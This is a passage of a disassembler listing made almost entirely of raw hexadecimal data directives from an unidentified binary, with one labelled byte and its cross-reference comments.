47803Bh, 744C1246h, 768AC61h, 91DC5783h, 8541735Ah dd 81B3E0CFh, 0A7002BF5h, 75BA0B0h, 794A606Ch, 2F8206B9h dd 10636169h, 0F0045F53h, 0C08ACF8Fh, 520B8110h, 2813E71Dh dd 0F5001090h, 0D0C93C2Bh, 2E8E01F7h, 81A21C3Ah, 0FC1441BCh dd 8FCA000Fh, 0E0680088h dd 0C070B6E4h, 0DE0079F2h, 0D42977BCh, 1F430F8Ch, 164FA7Ah dd 2A65AA3Eh, 440930B0h, 3AF3F900h, 2B82504Bh, 813E03FAh dd 0C662C74Fh, 5539F6C0h, 6800A4F0h, 0DCE0BF84h, 75FA0DFh dd 0A8771C40h, 2516306Eh, 1D752F24h, 6071561Ch, 9C1132C0h dd 0DB87EAh, 39BD153h, 0F4BB8EA2h, 0A45FCC18h, 3E78F711h dd 0AC011C9Ah, 621A2DB9h, 0D2904051h, 36E4434Ah, 37A3A200h dd 3BC086D4h, 9A023946h, 83666B00h, 0B3A9E538h, 9B00777Ch dd 3C228071h, 3E9A984Dh, 7400FC36h, 97317B68h, 855CAA5Fh dd 20171F32h, 42797040h, 0D1C225h, 0C74EE988h, 24F5BCF6h dd 5C047200h, 89C84D4Fh, 13580014h, 366553Dh, 0A2031D2Dh dd 0FDED4572h, 0E83188A8h, 0B85460CBh, 0BFF067E2h, 0DEACD803h dd 0D01419C7h, 123943Dh, 2AA22612h, 0C0D332ABh, 91009CD1h dd 9D534219h, 76515D6Dh, 2863009Bh, 97620365h, 0C8A839E8h dd 3B0B9CE3h, 60F781Ah, 196C17h, 3C8743E6h, 10A78E68h dd 5D724900h, 61BE7FE0h, 56980269h, 0E6B52230h, 99AB8940h dd 82DBAD01h, 0C7E16ADDh, 0F64997h, 79D713A9h, 960A056Ch dd 0C80EBAD9h, 0F8C3E680h, 389D347Bh, 0D08085ABh, 0F2D62AC4h dd 0A800E1A5h, 57D3D27Ah, 2B3D21h, 0AE9598E4h, 23DA15BAh dd 0F840500h, 0D6A56FAh, 0EDD71829h, 31BF78C4h, 7819B700h dd 0E29D2430h, 32530003h, 0E14867Fh, 0D20729DFh, 169586Eh dd 66B780F9h, 60C2AB8Bh, 55A111A6h, 300A2BCh, 0F610BA5Ch dd 16ABACh, 1BCAE545h, 0D87602D0h, 9E309400h, 187F0FFh dd 0C65307B8h, 0E1134899h, 0C8022390h, 0EC927F30h, 8F8B3700h dd 80702A9Bh, 66D70035h, 0D178328Ah, 0F800A3E7h, 2839C1B2h dd 77733EAh, 0A6A17FB3h, 0ABB89171h, 0A812F85Fh, 0BA8BFA02h dd 60F366C1h, 49720h, 2EB8696Eh, 0FDB96292h, 73453Ah, 0E1B23139h dd 0A644ABh, 7B8036ECh, 0A293198Ah, 0E6EDE400h, 70DE47F2h dd 0F92C0FCCh, 60ECEE64h, 730180B0h, 0D1F12FC6h, 50804BA2h dd 9DB32C48h, 0B878FED3h, 35D58000h, 58A243C5h, 7CB7265Dh dd 0BD0D8048h, 34F1E802h, 381C2EE8h, 6CC05B46h, 35958F22h dd 0E4C0043h, 2A41ED5Ah, 9D002328h, 24C05ED1h, 71D6505h dd 4885F1AFh, 5058D708h, 0E455C688h, 0A4DA7200h, 51980F02h dd 0D9D70097h, 23FB6908h, 2B0FF98Fh, 6ADBCCC9h, 0EC0099B0h dd 8754F6A9h, 15403EEBh, 0BA7F478Ch, 0C100DAA8h, 5D9F3A80h dd 0F9662Ah, 0EAB5920Eh, 1A460313h, 95EC2D00h, 0E9B7DACDh dd 0AEA501EBh, 0E311F0B6h, 46B8CB08h, 80B090D7h, 0EBDCFC01h dd 0B277F7E8h, 5FA2CD40h, 15BF142Bh, 570BF0F5h, 0C700E36Ah dd 95313C77h, 737B2F00h, 0B3BB03Dh, 515F6E96h, 113C34Fh dd 5667859Bh, 83202031h, 3B2939h, 6032282Dh, 13F47CD9h dd 3CF12C3h, 1985A06Ah, 9835BBA0h, 133FC171h, 72068008h dd 0D93F333Ch, 26F80059h, 2DE7D655h, 92178C49h, 9B00F395h dd 0B001D929h, 7760060h, 0AFD39E97h, 4E1D8906h, 3F40046Dh dd 1C97C9Fh, 78600066h, 12CACFDCh, 85000CA2h, 0ECE23F0Eh dd 0DF9749h, 5AD3BF51h, 98A81CDCh, 1F92A006h, 20EA62h dd 0E3A9FFF5h, 0AB79B33Fh, 0EFC56500h, 0FDC16146h, 6660E1Bh dd 4060C473h, 0D2EC1778h, 2ABF9A03h, 0E9508560h, 9EFC958Bh dd 0CC230B7Ah, 4001630h, 93F6CE3Ch, 9061332Ch, 7431DC13h dd 606C6D8h, 6C74BE00h, 3E18F6C1h, 8900068h, 2EE13867h dd 5590CE82h, 49733A00h, 0B74A75FDh, 8605006Dh, 8E02761Ah dd 8D079013h, 2D367C85h, 0B0233C23h, 6321EE9h, 0A7C3BDE2h dd 420EB222h, 0A059BB2Fh, 4B99A2C8h, 95E30079h, 0AF5116C0h dd 2400B691h, 801FA602h, 2641EEh, 0D0B93533h, 81387C98h dd 45993100h, 0FBBB8A68h, 7F7D00DCh, 0D6FC70ABh, 98030C58h dd 0C6551DE8h, 0E312D882h, 457E06h, 22F4AD27h, 0FDF1EE4Fh dd 0DE893Fh, 8372881Eh, 609EA624h, 7793807Eh, 5F2273Ah dd 47BAA500h, 0A811A18Fh, 6FFA0079h, 686E099Fh, 16002C59h dd 0CE745F17h, 3F398DDCh, 182E0593h, 2264009Eh, 16D2FAAFh dd 0BBBCAD01h, 236A29DAh, 0E4AB19FCh, 6CEB01C7h, 6FA76849h dd 0EA05CC90h, 97A44C03h, 7C93DCEEh, 70D7F70h, 0DE621D3Bh dd 477A77D2h, 749CB0D4h, 7C60A485h, 0FDC42928h, 709200C0h dd 6D72C146h, 0D100D5E3h, 0BF2A4E5Bh, 7D2CEA7h, 7C1EA41Dh dd 0CCC120B6h, 0E1FFA52h, 18027DBh, 0E66CDAEEh, 58B00012h dd 0AF33A681h, 9503157Eh, 2942C92h, 3621006Dh, 39DA6FDh dd 83F046AAh, 69005BF8h, 871590FAh, 1F70097Ah, 0FB93592Fh dd 0C466610Eh, 29A5C05Eh, 0F7DF6F3Eh, 0CF63AD03h, 0EA8E7688h dd 0EF1AE0C1h, 6E240092h, 7089B462h, 130147FDh, 275597C9h dd 6F41581h, 38EECD2h, 7DC2C76Ah, 0BEA8F776h, 0F100DB6Ch dd 8DD1EAB2h, 3CBD7016h, 0F40001FCh, 8B2BA3D2h, 673DA10Eh dd 909F94A5h, 0EEB20098h, 2C85D393h, 10BF009Dh, 0D5121689h dd 0FE00DF7Bh, 0EDADC419h, 394AAF6h, 0ACE2B676h, 0F9786E9Dh dd 0BF027E0Ch, 0A4121113h, 854A3088h, 54526810h, 3BAD2405h dd 0A001E405h, 26EBE121h, 76605BDDh, 69150CE8h, 0C129AD9Ch dd 0CA463D84h, 22848340h, 0CD428B0Fh, 21D1E611h, 0AB5908BFh dd 0B400C991h, 121057BBh, 9600AC41h, 0D2B13EBAh, 3489DBh dd 91334866h, 0E8F14FC8h, 0AB14EE03h, 0E35FDA80h, 0E581F8FBh dd 19E6008Fh, 1D5B1C0Eh, 2EF6B9FFh, 0D0AEBC00h, 731696Bh dd 0EF7E00D2h, 0E344D748h, 0AD031C70h, 0DB5B8872h, 4EAE8806h dd 0D98009Ah, 522DB146h, 9E3EC14Ch, 0D7158061h, 5003CC9Dh dd 85CA00FFh, 0BC8F3001h, 9B002A0Ch, 0D82C239Ah, 0E57D570h dd 0CED41BDCh, 0A4B6E40h, 0D0F58C9h, 7C03E9h, 3A1BE146h dd 233200E3h, 0EDFDD4D0h, 4E01CA04h, 0E0E4F8C5h, 0DC508B11h dd 13E8D25h, 0AB0901EFh, 0A40A48E8h, 80399568h, 8A465CBBh dd 9B77C8h, 3C97E9EAh, 0E16D5F78h, 57770198h, 85D9A800h dd 0EED0E6C0h, 6BE400F0h, 7BADECA1h, 68C0E54Ah, 0A730FE71h dd 29330FCCh, 81E0C617h, 59F04FA3h, 0A2F54900h, 44BA3205h dd 5CDD0056h, 0FFD9D2E0h, 533DC820h, 7325801Fh, 0F83805F0h dd 9AB70085h, 0F4C482CCh, 86904455h, 0A607B5EEh, 0AB7AC8C2h dd 0B0E7BA80h, 0A7750024h, 1362F04Bh, 6D052D74h, 0D8716B1Ah dd 4B4F103h, 0E157E8C8h, 5F980050h, 0B0D5533Eh, 0C000379Bh dd 714F2740h, 1448263Bh, 0BC8F992Ah, 1B3D6000h, 9D673C0h dd 52471F00h, 2C6C7664h, 6DDE06BBh, 21EE1CEDh, 9A01DD1Eh dd 35C3DA00h, 0F46F4021h, 4C1B77BBh, 79BC8Eh, 91604BD3h dd 0BD12D250h, 2713A200h, 96EF83BFh, 0F287002Fh, 48E3E90Ah dd 7B82DD3h, 0CCAF6412h, 76F60B00h, 3815AE1h, 0DF36826h dd 93E82EAAh, 0A200B486h, 8D1CEE43h, 9670B3h, 0FBA5E7E4h dd 109BCA25h, 0D2BC020Ah, 5400900Ch, 0E72126B7h, 0E5B0001Bh dd 7CD148F9h, 6226606Bh, 0FB1D19D9h, 0F7865D80h, 1FFA192Fh dd 4072D052h, 2267976Fh, 0CC00092Bh, 94440A87h, 0F22EE5B9h dd 0B1D84841h, 0F7020400h, 84117D3Bh, 0EF2C2F0Fh, 49502099h dd 0B1CEFAh, 5A9AE9BDh, 1E32038Fh, 0D2769E00h, 0F03EEA66h dd 5CF101AFh, 146DBA50h, 72C3F005h, 0AE0F3800h, 0D8555B6Ah dd 0BAE300CDh, 123EFC50h, 0A401644Eh, 51A33BABh, 5BF841B0h dd 0D05A0038h dd 0B136EF3Ch, 37008883h, 46B4FCE7h, 0C8CD7Dh, 0E0EC4DD4h dd 9F0EC258h, 0CE13AB03h, 988F78A7h, 7CC3271Bh, 69F33B76h dd 0A1B5E580h, 8ED56C0Dh, 0E2676D18h, 0CEC2C8h, 0B1523CAFh dd 317C576h, 9B2B0200h, 29DB88AAh, 66D40016h, 0B61A2047h dd 600809Fh, 78320E44h, 7EC98592h, 34F800D9h, 6BDE6CA0h dd 22039697h, 8C4FD006h, 5117C9F5h, 2641CBECh, 0EABC6Dh dd 0B514A8FEh, 49034F15h, 71BD892h, 78DED02Ch, 240800A9h dd 0D0FD0FDCh, 3E00F84Eh, 8C7364D4h, 0E7ECD71h, 638FAB08h dd 0E0A38A87h, 1332E8D2h, 0C6470C0h, 3FCB2F3h, 0D6267DCh dd 1DD015ACh, 7301E2B3h, 50BB990Bh, 0FDF4ED46h, 4D7785h dd 0A1687E15h, 8E03C9BCh, 0ED399772h, 63880125h, 6FCF98D5h dd 6189DC40h, 0B5BE1C5Eh, 8BC9C004h, 72CE477Ah, 6E82ED0Fh dd 0DB24E07Ch, 0E9EF337h, 0F4635867h, 591714C0h, 250EDE7Fh dd 0BF371092h, 0C6294240h, 777484Fh, 642EA4E7h, 624B70CDh dd 8603F826h, 4A114716h, 0F763E02Fh, 0BCF832h, 0B68C18FCh dd 0AE0EA4C5h, 331D90B0h, 29C09941h, 0FFC4E5D9h, 1139005Dh dd 31680D38h, 0B7004E81h, 46D403EBh, 34BB46Fh, 6A4CA751h dd 0B180D033h, 1B98C0BBh, 4F28CF8h, 2CD27E0Bh, 0D642008Ah dd 0F1CD4BDh, 49EDBC4Eh, 484AA700h, 0C90F4452h, 0E09562BFh dd 0A30B1D38h, 6B2C0072h, 1044D70h, 12E4458Ch, 21FD0700h dd 5A283202h, 0BF4E0037h, 9EDA6B85h, 0AC009168h, 58D2AA40h dd 941C12h, 0FCDB50DEh, 7E8DDD9Dh, 372A3Fh, 0F23CDF83h dd 122D70C8h, 5BACCh, 32E09568h, 42006816h, 8AF56E6h, 0FFC3Ah dd 0CD3075F1h, 6D0EDAF4h, 0E6A63Eh, 0B5F7946Eh, 2D9818h dd 97CEBA7Eh, 0CB24FD20h, 4D9A9C00h, 54BEC321h, 4907394Eh dd 0BCA68480h, 246372F4h, 3FF8AC00h, 0A03594FDh, 311C006Eh dd 86B327C0h, 38004761h, 8FC88498h, 0D3F8B6h, 376422E3h dd 945AC33Eh, 32CEAA0Fh, 80B4291Bh, 0A0EAEB2Ch, 57FA1207h dd 0C0B21C09h, 8FFD2CBFh, 67005A43h, 0C1DFA803h, 1F801E34h dd 0C3C765F4h, 9122EA90h, 29BE38F8h, 68C09A03h, 88CE26BFh dd 5B525Ch, 0B5EF5EC5h, 66BDA59h, 584A48h, 6D955DD3h, 1A54CFh dd 9D4EF060h, 0B87AA92Ah, 0AE4152Ch, 6D49AA00h, 0E62870C3h dd 82DC001Eh, 1FE2F9B4h, 2A001044h, 1ADF77ABh, 713A84EFh dd 0DFD00B7h, 0B14A70FCh, 0EC003EA0h, 8442DC73h, 1FD2C35Ch dd 0C132236Bh, 6865F57h, 0F800F7E1h, 0CFAB5D13h, 7271F80Dh dd 8E3738B1h, 0EAF4C003h, 508F2679h, 54666D7h, 1CFFA900h dd 5AA44CDDh, 9AD7B0Ah, 0A73E360Fh, 72DF401h, 0F8D68034h dd 0C46A25DBh, 0EBE900FBh, 4D69E433h, 6E007141h, 0B2374A88h dd 0EE2DC29h, 94EF2B2Fh, 0E100EB09h, 6474DDC6h, 0A1ADA901h dd 17951EF8h, 0A0B36BE0h, 394ED7DCh, 0C08043FBh, 4DD6A585h dd 592C2002h, 0E68E6CB8h, 40CD0FA4h, 0AE6F8C4Bh, 9064FFF3h dd 855E0EDDh, 0CE0F502h, 0D0AFB46h, 4FDCC750h, 308642F8h dd 7EB04053h, 0A1000E48h, 307A8E15h, 1916421h, 0C38D1FF4h dd 2001ABA0h, 283E74F4h, 6541008Ah, 9E34DA1Bh, 7F0E01C9h dd 0DE31DDADh, 4535E440h, 0F052A100h, 38516CCh, 53FC0054h dd 0ECF742A7h, 9C00488Ch, 918E18CAh, 0C0D5321Ch, 54B60AF8h dd 223E27C2h, 80CD39D8h, 2F3AA4E1h, 74BFB10h, 598DA7EEh dd 440FA0ECh, 0C601BBD1h, 0BA586C36h, 0D060E002h, 0FAA4EC59h dd 1D3700E4h, 7A05FDBFh, 0CC004877h, 2956983h, 18F0ACh dd 62C38164h, 0E3DCCE75h, 8B40E700h, 84E8AABCh, 24C10085h dd 51B8AD63h, 20C7E0C2h, 62108090h, 0D6F91Eh, 6D8E3B6h dd 0BC2A2129h, 47C47000h, 7930D2A0h, 0ED5F00A6h, 0AFDFCC04h dd 0E8CFEE4Fh, 0B49FE085h, 7D18E8Bh, 4880C7Bh, 6CA0EF52h dd 0AD588942h, 0B6AA7700h, 0D2F0C1CAh, 6123126h, 0F0F74980h dd 0F300BED3h, 36A8DD18h, 1805EFCh, 0CA783AAFh, 0E074B770h dd 45017E4Bh, 501E55D4h, 898865EDh, 3CACE99Fh, 88D55804h dd 3DC47090h, 332C0086h, 99E426C5h, 7616EC83h, 4B0048F1h dd 88419BBDh, 6BFE0094h, 0B8FAC919h, 0D07A2C63h, 21DF4A00h dd 0F0C3AA2Bh, 4C202DEh, 73D2F911h, 0B87F5CE0h, 5F140B18h dd 6A4111h, 74AB8021h, 5CAD6EA4h, 48856324h, 0F7806D9Eh dd 2C1D8CDFh, 0A77A05E5h, 0C039F5A8h, 633FB2Bh, 0E2F6C8C1h dd 36804AE3h, 7713D16Bh, 7F007D6Fh, 65E8BCD6h, 71486Ah dd 0F18E2CCBh, 70DAEBDBh, 0C46EF200h, 15D4D80Eh, 1C0C7A6Bh dd 977B9874h, 0A3C0092h, 994B1224h, 2B328505h, 0F890DDFAh dd 1F661D1Fh, 803C95F1h, 51C6FF7Dh, 77072BEBh, 48A9412h dd 13C2DD20h, 0BA3170AAh, 0D9AF2EF0h, 6CBF40ECh, 6E01A1A7h dd 0E272FB7Fh, 8C405F77h, 105D732h, 90D4FC39h, 0DCEE740Ch dd 6F07AD4Fh, 0B2BE5D03h, 0C4AB0FF3h, 2F2BF080h, 64665C15h dd 42D15600h, 38C0EC23h, 82B0A200h, 401B880Dh, 0AA763B8Dh dd 0E50020DCh, 9DA3EA51h, 3A0070E6h, 338C555Fh, 0DF8E73h dd 75CFAAF4h, 8960B564h, 2BBB0D00h, 0CB126501h, 7A950056h dd 9A94E820h, 1300C770h, 96EEC44h, 503ED550h, 1EB49703h dd 0A2CD26h, 0CFA586BEh, 0D50BD0C8h, 726148h, 105AAA18h dd 7FCD0015h, 0E59570C4h, 3D240797h, 0D70080C6h, 0B47E6773h dd 35A93CFCh, 0ED022607h, 0EEF0E03Bh, 0CB001A8Dh, 7A3AC532h dd 98B114FAh, 0F2D4E018h, 0F6E0040h, 0E18410B8h, 18900ACDh dd 80E8A326h, 2CBC8C80h, 18EFF9B1h, 0C1178647h, 70003E1Ah dd 0F2C1AA23h, 28BD418Dh, 0B02E8Fh, 5F9AF833h, 88F33D2Ah dd 733EF502h, 8013AA75h, 817A09ACh, 11ECC1A9h, 20A79984h dd 0D1EC9B4h, 459E58C0h, 6E6D1980h, 614C851h, 290A1D7Eh dd 405A05Dh, 0D61F58Ch, 2BC1F800h, 7ECF6Ah, 0F757C462h dd 97DE5D1Ch, 0F6840901h, 0F3DFE963h, 0F42D4860h, 715500E0h dd 0DC1A5A7Eh, 0DB704811h, 0EFB2E40Bh, 0A6DC00C3h, 7FAE67h dd 0BBD9B75Eh, 9639B4E2h, 0A4BC0A0Fh, 0AF862132h, 0E6F0AB73h dd 0E27D25h, 4176A7C7h, 22440CB5h, 0BB771E00h, 0EB8A057Dh dd 1B3105DCh, 900497E7h, 0DB2EB760h, 2000E373h, 0A23544E6h dd 0B9C061h, 4B36D01Bh, 2EA082C7h, 6C2A8103h, 0F85449CFh dd 26D4973Ch, 2BBBE3Dh, 0A4AD56D5h, 0C26D3FC0h, 0AF0160B0h dd 27B5A261h, 99EF3CCEh, 82804055h, 8FA46FEDh, 1A0077C0h dd 3C97AC87h, 0BA97827h, 0E615C4FCh, 372E7C00h, 501C81BCh dd 0EEC0BA0Bh, 0BF44661Ah, 0F2A32EF3h, 0CAAB1EC0h, 30F0B632h dd 0BF65628Ah, 4B39900h, 0FFDFC472h, 103E0322h, 5345D605h dd 4195A3E0h, 0CB00D098h, 0FE55FB1Bh, 725943h, 6BB165D1h dd 40140C35h, 5B62C03h, 0F8FD3E64h, 59F517C6h, 7510802Bh dd 0CC070053h, 0DF55EF0Ch, 8ABB0046h, 0C4A30E7Dh, 0E8C08234h dd 3168D183h, 0DDDA0E48h, 42E03263h, 2165034Ah, 4C730500h dd 352C5A53h, 0F46E000Dh, 71292EBAh, 0AFE409B5h, 8F792838h dd 0E91BC05Eh, 6EB90007h, 0AE6649h, 0FC8AB35Ah, 168B28DAh dd 57105300h, 0ED7C36C3h, 52131C81h, 0CDAB40B2h, 0A7AEEAEBh dd 0E3CA5B1Fh, 0DB96FF40h, 3A1DDFBFh, 3E857B51h, 0C344E2A5h dd 6190D9B3h, 373845ADh, 0F89BB0D1h, 54DAB8Bh, 102E0C96h dd 888C014Ch, 381605C5h, 878B2C6Ch, 23E59107h, 0A8300D01h dd 2C70C6h, 0AB5BD2FBh, 39E15AACh db 0Eh byte_530055 db 0D5h, 40h, 1Bh ; DATA XREF: ___:off_43859Co ; ___:off_4385B4o dd 0BF81C03Dh, 3C982h, 88012131h, 3F9A99B9h, 0A91011E6h dd 660076DDh, 0FAB06116h, 0AC0006B2h, 0BD6F8CDh, 0BE7949h dd 7F2EFC4Ch, 11677004h, 9E176E1Dh, 0E740231Eh, 0CD5E8877h dd 1EE6ECEFh, 81E170C6h, 0DB8C0F50h, 0C1D1CF46h, 0ECF9401Ah dd 6F002D3Fh, 0E42E6825h, 0CD13B0h, 47A7711Fh, 0B4F416CFh dd 0E2C05Ch, 0C4F79CAFh, 0B739EA8h, 2CE97F3Eh, 18C58D01h dd 0D72880E4h, 0C1217158h, 0CC9976h, 62B6BC25h, 0D30999AEh dd 8FCEA9C7h, 4AAAC046h, 11F036Ch, 0E73145FBh, 0F046C91Eh dd 2D006824h, 0E19D7F1Bh, 38C1D71h, 0ECC678C1h, 85C00FE2h dd 0EB814DAh, 0BA7F8212h, 7A4A5840h, 1FD3EE0Ch, 801F1637h dd 31E458Fh, 0EC00B535h, 1A85927Dh, 5D770Eh, 0E50FCA74h dd 374E2DFCh, 80046E3Ah, 9485C4CDh, 3D41893h, 0EE786973h dd 0E0BFBDD0h, 80EB72C9h, 0E09A5A7Ch, 88D25B00h, 340F9522h dd 564638A5h, 202DFF98h, 2E015121h, 847B2080h, 0A8BEA7F3h dd 0F93190Bh, 0CD897CA0h, 630011C5h, 42CBC6B2h, 1315E8E4h dd 188834h, 19602B7Dh, 0C000163h, 65312E59h, 0C0393E69h dd 0A7FD8570h, 26003ACBh, 97630ACAh, 16BEFB4h, 0EB9A1BA4h dd 0D88EB5BDh, 37008D6Ah, 340BA31Fh, 3D22F63h, 9036CB5Ah dd 803E7D23h, 1A0F0ACAh, 8500509Ah, 0E6E5A62Eh, 0E0FD009Dh dd 72DE9216h, 48E36EEAh, 0C92ADB84h, 3407C4BDh, 0D75649DDh dd 0EC0C0791h, 0B5F171F5h, 0EEDAC9Eh, 21808E36h, 0B7814C15h dd 0F2A6A300h, 0AE1EBE09h, 0A541007Ah, 5391C559h, 8503B3C3h dd 0B4B94A06h, 4397D883h, 0C820003Eh, 59416A77h, 3D0068D9h dd 72AAA167h, 972FB4h, 0B5CF612Dh, 0D3D85D02h, 206DD500h dd 3F956B96h, 9A721EDBh, 0A614802Ah, 667151EFh, 0C3F8B100h dd 959FB664h, 0F2813082h, 2856A6E1h, 4D5BBB00h, 0BDDA35B5h dd 0A0270088h, 0DB9D8607h, 0FC58ECCBh, 1ABC0C9Ch, 54923958h dd 3A4FEh, 8835C569h, 75765CBAh, 3597B4Ch, 9701896Dh, 932819F9h dd 0E8D231E1h, 2601BA4Dh, 0D70D2B46h, 1D308DF4h, 0C5F900F7h dd 0CD91D827h, 7000A77Dh, 0B913C9DAh, 90542C68h, 0DC840086h dd 91CBDED5h, 82FE4B18h, 8B653B0Fh, 3F017EE4h, 36515A89h dd 72B2E4h, 0A818854Ch, 59C093A4h, 80315201h, 913DE15Bh dd 22C95C24h, 6000F492h, 3821BE75h, 130D16Bh, 7D9D706Fh dd 30FB9C45h, 0E0008911h, 67BD23B2h, 0EDF86A7h, 108F5D9Ah dd 0E6F2ADE0h, 0F5002926h, 0D0F16C5Bh, 1B6474h, 18B109E9h dd 53DCDE5Ch, 9561E001h, 5FB21E96h, 31177EECh, 25383BC4h dd 9241803Ch, 0CB3795D5h, 211F00D0h, 0A90FB112h, 5900E330h dd 560D9EEEh, 7F52E6Ch, 903A9327h, 90430744h, 31BAED7Ah dd 0DE1F8674h, 47C1336Eh, 6DF753D5h, 5C7618Dh, 0BDE74008h dd 0DC002D0Dh, 1B598168h, 0B2398Dh, 0F54E108h, 2AED8509h dd 0F53DF53Eh, 0DCA17700h, 2576BBE2h, 5151C120h, 20B845C1h dd 0D9F4B00Bh, 0FA509600h, 0ED7768D8h, 63D14CEEh, 19C82F00h dd 512E1B04h, 41C324E8h, 5579B5h, 1DB50D1h, 0A568F27Fh dd 0BE3F3Dh, 0BA90D369h, 0C0848E81h, 27488929h, 0B679FA56h dd 597EFF00h, 0A10F9B40h, 4249006Ah, 0BEA77C7Dh, 3400E5EEh dd 13E2F504h, 0A92E5EDBh, 1E106BB8h, 0B80048A2h, 0E42B2DEFh dd 33DC633h, 0E0E131DEh, 73E1C73Ah, 501ED15Fh, 0BAA1429Ch dd 9B0AE504h, 0DE80544Ch, 0FD34BEBh, 32C60B76h, 0C77EBE2Eh dd 80C58E4Eh, 2CE2F421h, 803B023Fh, 0CAA2B7B5h, 0CE9188h dd 0F46845A5h, 1FC3508Fh, 65671300h, 0B99B4635h, 0CC4200ACh dd 0F4EC5B1Ch, 6AF8A3E3h, 1808D907h, 37400EEAh, 30697A6Fh dd 0E3185BF9h, 0F47833B1h, 6D215703h, 0C03150A3h, 3719FAFh dd 549116FCh, 9300EE8h, 87CF2135h, 0CA670371h, 0EF93DEBEh dd 340669B6h, 5C3D6979h, 318F6C10h, 48C2860h, 16FD7194h dd 1CE38A9h, 0D576719Ch, 83189913h, 433EA049h, 14E7F01Ch dd 0C3041E22h, 0BC2C058h, 1E2F8E42h, 77D5F81Ch, 0D816DC47h dd 0B93D9930h, 90BEF5FEh, 8F035BA0h, 796F92E8h, 0B6F3A0CEh dd 0BA8101E2h, 0CA08DFD7h, 2D94E046h, 61005EEAh, 3D96A5ACh dd 8D5B99h, 241908D8h, 0C24CF43Fh, 0AC3B8628h, 0AB36DE00h dd 0C9844821h, 0D29200F6h, 8F2CF717h, 6500E116h, 0F4DF9061h dd 578345h, 1A7BD5F5h, 0B4789609h, 8FC8B80Ch, 603009ECh dd 0E1FA20F6h, 9505D996h, 0E20D3B12h, 7A5CB21Dh, 0C4015300h dd 528E9Fh, 0F1CABD35h, 0A5622690h, 43F094E8h, 765E6C06h dd 0F204405h, 0D5F4DCE3h, 8DEC3800h, 88C73A4Dh, 0DA50049Bh dd 1825E622h, 8FEFAE8h, 20C039A7h, 7B3AE3BAh, 8BA20081h dd 0DC4AFC5Bh, 80E983E8h, 0F6D15C9h, 266A82h, 8425014Ch dd 0A1F42E56h, 0F2C74A03h, 0A09CE136h, 66497659h, 807B903Fh dd 0CE0E91C8h, 22B045E0h, 448618D6h, 500D0A6h, 0C13B483Ah dd 14AF7B9h, 30C3C59Ah, 81D42041h, 0A86CF458h, 98C0C7FBh dd 0A8FA6FD3h, 89E3A28Eh, 0DDD4A5h, 954F3290h, 6B1D14D2h dd 4C00E119h, 3EA96E90h, 2381039Ah, 79FC7B0Eh, 0B5F5590Eh dd 5FD8E9E9h, 54057081h, 9C0898CEh, 0E10B21h, 0CBA26379h dd 22ED0AE0h, 0B290CD18h, 0C5EA470h, 0CABE28D9h, 1814F6F8h dd 8831EDh, 0C7829214h, 8149C3h, 0D14F01ACh, 0A5963290h dd 0D0A6F80Fh, 65401E54h, 0F9C5BD13h, 5ABF0099h, 9A0BD8FCh dd 33188388h, 0A428EF89h, 0B73F3C6Eh, 1213AE00h, 92E15064h dd 90043F8h, 838FBF1Bh, 0C1D68E37h, 1640430h, 60499EB7h dd 25099700h, 574CF9h, 0CC5615ABh, 0D6378453h, 6DB3Ch dd 12E00B68h, 1E761143h, 80ECD579h, 47D401Ah, 0C1009556h dd 25506C01h, 1B4E9D4h, 0D95A1B4Bh, 0C7EF47BCh, 83FCC5BFh dd 9000B5A4h, 0CD04C11h, 79659A96h, 0F0A94101h, 19C6EC64h dd 3DE081C5h, 48004ED0h, 45FCE4A6h, 0EEE2E3E7h, 0A9623F01h dd 91636C8Ch, 0A3542880h, 0D3575EB3h, 8AC89C18h, 276B41h dd 42B7DDF4h, 851B3AF2h, 0CD0CCC00h, 0DA72345Bh, 6A260CC0h dd 0B2B0C4C1h, 574E7E00h, 0F621B7E6h, 590A009Bh, 38D50511h dd 0B9005101h, 474C7D96h, 6F546Ch, 6BE41FCBh, 0EB0F5CF2h dd 0EE893401h, 0CA52B707h, 570048BAh, 0B3AA781Fh, 7CE25CDFh dd 38612700h, 0B8BA967Fh, 3FE80079h, 32C70147h, 431F4892h dd 0F244F606h, 0BFA0810Eh, 64C938BBh, 0E7B7F080h, 3C6B3D1h dd 6D9D7200h, 638E7466h, 22CD1E88h, 0DD5B024Dh, 0E6098ADh dd 92002BD5h, 0A9506D9Ah, 303BEA47h, 17B04F1Eh, 2B30E5BDh dd 0FC5E20CCh, 789F00BAh, 0EACED312h, 0C57ABB1Ch, 2F473E01h dd 622B57B6h, 0BED5F880h, 0B87E82F9h, 0E5480E01h, 0E6611EBFh dd 0F08BE0h, 3738E4B1h, 0CCB6105Fh, 0D0C10B1Dh, 486842C0h dd 4D49F3h, 2FC06A62h, 0F8D71A01h, 52EBB200h, 61D14604h dd 0BA29C05Bh, 0E9A6D645h, 0ADCBF506h, 340805C1h, 812040B7h dd 0E054C83Dh, 0DE00BF75h, 0FE4AACC2h, 0ECEAE3h, 0F6103A52h dd 1460C349h, 0B50F9F7Eh, 597FFFC8h, 698D5A70h, 0E008B189h dd 79039580h, 0EFF256AEh, 0C28962Bh, 85120AC9h, 0CF5CB040h dd 0B1EC328Eh, 0D74C30F8h, 3DE9A908h, 409464C9h, 0ED72187h dd 921F0065h, 791A77C7h, 0DC511BEEh, 90608728h, 0C380EF05h dd 3A6C4001h, 7C009F88h, 2F587A17h, 0AA0B3C28h, 0FF6E94h dd 0DDA37EF5h dd 4A6A0270h, 0EFD7B45Bh, 2A989B40h, 0A4E6D0EAh, 0B949C900h dd 0C375FC36h, 0EC200026h, 128332A2h, 500EBDDh, 9F270CC1h dd 0F726016h, 3447A010h, 8708C05Ch, 6C8F28C2h, 7892F900h dd 0D1827DD0h, 485F24Bh, 6C840FAh, 6341C386h, 36B8B998h dd 0D61E90E6h, 1700D7EEh, 0D9832E97h, 30470765h, 0C0F47435h dd 10F2C9AEh, 3FE31B3Eh, 4407F464h, 0EA6B2D28h, 71FDF8B0h dd 0B5E03110h, 80D0B708h, 0EA23A020h, 0CED7D72h, 0E8869775h dd 7E007818h, 0E6C45BD4h, 3188B9FEh, 4161F7ECh, 1D6D0CC9h dd 230739EAh, 0D18A08h, 0C2EA22A6h, 35008F59h, 0D389CDB2h dd 2067474Bh, 0A318C198h, 0AA584C3Eh, 1200E2Bh, 0CBE07808h dd 0D66B49BBh, 0BD3B9703h, 14D100Ch, 9247F779h, 0E4DED485h dd 783EB68Ch, 0E7DF802Bh, 0C4D284Fh, 611676A4h, 752C1868h dd 0E490148h, 3EE123E8h, 2061AE83h, 0FA2562B7h, 0E88600Ch dd 0AA47A46Ah, 0A2111502h, 0C5A32643h, 0CA44A82Eh, 0B63B3200h dd 3083E062h, 